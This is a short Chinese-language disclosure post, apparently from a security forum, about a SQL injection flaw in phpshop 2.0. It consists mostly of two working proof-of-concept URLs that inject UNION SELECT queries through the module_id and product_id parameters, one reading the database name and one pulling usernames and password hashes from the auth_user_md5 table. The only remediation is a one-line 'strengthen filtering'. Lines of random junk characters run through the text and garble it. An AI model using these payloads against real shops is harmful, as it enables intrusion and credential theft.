phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu


SQLi p0c:
2 y5 }1 W/ w1 ?! ^" ]5 C
# ?/ E* W1 O; I2 m3 ?% C==================
% |, a  B' z! y  c5 u3 m( U
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
% ]& ]# z7 z0 ^- R+ U9 O6 O, Nunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
) j2 s( O! _0 v, A
+ Z' Z- G9 p2 M# m: h7 ?http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
4 e7 k# ]) N2 t# X" I' \( p
9 R/ W9 d& W, @/ g/ i) Z修复：
加强过滤
​

& S7 O4 s. i7 L9 [